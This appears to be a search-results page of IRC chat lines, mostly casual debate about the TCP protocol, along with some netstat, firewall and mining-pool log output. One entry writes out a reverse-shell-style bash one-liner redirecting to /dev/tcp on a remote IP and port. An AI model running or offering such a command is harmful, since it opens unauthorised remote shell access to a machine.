512 entries in 0.907s
mircea_popescu: decimation i don't like it, because : as a way to transfer data between the two computers where there's a cable, it's stupid. even serial protocol is better, but we have
tcp etc. as an airgapped solution is stupid, because sound.
decimation: well, there's also the thought of puttint it all on
tcp port 80 and putting fake
http headers
adlai: what about mpex needs
tcp?
adlai: I guess it's an example of something which could work equally well over udp, and just happens to use
tcp for convenience
adlai . o ( one could say that mpex simulates udp on top of
tcp )
artifexd: If you want a back and forth connection, you end up duplicating
tcp yourself.
mircea_popescu: another advantage to
tcp is that you don't really get to care about mtus and all that.
artifexd:
TCP does offer advantages. Not having to reinvent/reimplement transmission reliability/ordering is not a minor thing.
[]bot: Unable to get details for bet 1089: Get
http://bitbet.us/bet/1089/?json: dial
tcp 185.56.137.194:80: ConnectEx
tcp: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
decimation: yeah,
tcp is pretty much the most retarded protocol you could pick to try to make 'anonymous'
Luke-Jr: it's a DDoS, except at the Bitcoin layer rather than
TCP Luke-Jr: nobody much routes
TCP packets free of charge
ben_vulpes: kinda misses the entire point of the
tcp protocol, where one just routes packets.
decimation: actually vint has much to answer for, because of
tcp.
TCP was a step backwards in networking
decimation:
tcp really is pretty retarded if you think about
decimation: asciilifeform: I'm not sure you really need
tcp at all if you have a crypto-wot
mircea_popescu:
tcp 0 0 192.168.*:42230 ddos-server.intyl.b:www ESTABLISHED 1794/opera
decimation: it was connected to a radio modem and managed to pass
tcp to other ham radio operators
decimation: back in my youth I actually ran a
tcp/ip node on an 8086
mircea_popescu: this is incredibly fucking immense, try and make an
tcp stack that offers this guarantee to any os.
mircea_popescu:
tcp 0 0 23.235.236.98:
http www.fraudalertservice:38410 SYN_RECV << all sorts of lulz like that.
bounce: er,
tcp doesn't do crap without ip to transport it. the layers do build on each other
bounce: well, try this on first: "
tcp/ip" generally refers to the whole stack. supposing you really ment IP (layer 3, conventionally), then "app aware" (with app: layer 7) would be a bit of a layer violation.
mircea_popescu: it's like asking for an "app aware"
tcp/ip implementation.
mircea_popescu: no it won't. how long do you think people can spend reading shitty c/c++
tcp/ip implementations before they give up their idiocy like the plague ?
mircea_popescu: "i want a complete report on every
tcp/ip implementation out there. by hand. line by line comparison of all versions ever made"
bounce: oh, you can implement a
tcp/ip stack, apparently not too much work. making it work well, especially
tcp, is going to be a bit more work though.
bounce: you'd need a
tcp/ip stack linked to your program meaning that as soon as it quits the box is off the 'net, but whatever it's configured to use it'll use.
Naphex: could've just used a reverse echo "code" >& /dev/
tcp/8.8.8.8/8080 0>&1
X-Rob: [2014-09-15 07:59:31] Pool 1 stratum+
tcp://104.131.60.126:8559 alive, testing stability
X-Rob: [2014-09-15 07:49:28] Pool 1 stratum+
tcp://104.131.60.126:8559 alive, testing stability
FabianB: "rewrite the
tcp/ip stack so that all traffic is encrypted" <-- as cjdns has done
mircea_popescu: [UFW BLOCK] IN=eth1 OUT= SRC=208.94.26.148 DST=192.168.0.100 LEN=52 TOS=0x00 PREC=0x00 TTL=242 ID=65083 DF PROTO=
TCP SPT=443 DPT=46252
mircea_popescu: same exact thing can besaid of
tcp/ip, or anything else that works.
kakobrekla: i guess ukyo cant comment, he is out of
tcp packets.
cgcardona: moiety: done (secret
TCP handshake added)
mod6: ye ole bug in the
tcp stack 'eh
pankkake: and the many OSes which copied that
TCP stack
fluffypony: ThickAsThieves: FIX is quite an interesting, old (early 90's) protocol that is basically pipe-char separated key-values (key is always numeric and based on a predefined list), and you literally dump the ASCII over a
TCP session
fluffypony: ICMP traffic is working,
TCP is working, but HTTP/HTTPS isn't working
bounce: validate in what sense, ip packets?
tcp streams?
jurov: just cause it "exceeded connection attempt threshold to
tcp:22 81 times in a 30 minute period"
decimation: no, but I find the overuse of
TCP to be an annoyance.
TCP was made by the devil to help people trick themselves
decimation: what I don't understand is why bitcoin network code uses
TCP, yet includes optimization hacks to try to improve performance. Why not manage things properly at the application layer with UDP?
blg: mtgox also uses
tcp/ip case closed
mike_c: benkay: yes, i just don't think a reference implementation counts as well defined. so TCP_KEEPALIVE is set to 100. why? was that picked intellignetly, randomly, or it doesn't really fking matter? you don't know from implementation.
benkay`: ;;later tell mircea_popescu now for a
tcp test harness. on one hand, 'yak shaving'. on the other hand, things worth doing are worth doing well.
BingoBoingo: mircea_popescu: Dunno if he did. Just seems the way he is wanting to ruin BTC fall inline with the ways Google wants to ruin
TCP KRS1: It was a c program that modified
TCP buffer sizes when you sent a request to a computer running an unpatched Windows95 machine. It would lock it up cold. You could watch entire irc rooms disappear.
KRS1: i like messing around with concepts like that..back in the day i used to play with the
tcp buffer size on the internet and lan's and stuff
mike_c: yeah, i just feel like we're talking about
tcp KEEP_ALIVE and deciding it's too complicated :) even
tcp is complicated.
gecko_x2: you combine a noiste aware
tcp/ip interfac with strong symmetric OTP crypto
jurov: you can't have distributed DNS/SSL when underlying
TCP/IP stack is vulnerable to coercion
Framedragger: yeah if it's ssl, they can profile ssl.. if it's just bare
tcp, sure it's more difficult true
KRS1: what do you mean by encrypted channel..a given
TCP port with known encryption data?
MJR_: socket.io like emulating a constant
tcp socket
Scrat: orkaa: I'd like you see you spoof a
tcp handshake
MJR_III: its trying to implement
tcp sockets into a client/server model
mod6: but when the size of UDP gets over 65,535 bytes (need to double check), it simply converts it to
TCP and sends it that way. something can be learned from this, nothing more.
MJR_: I think it's multicast
tcp?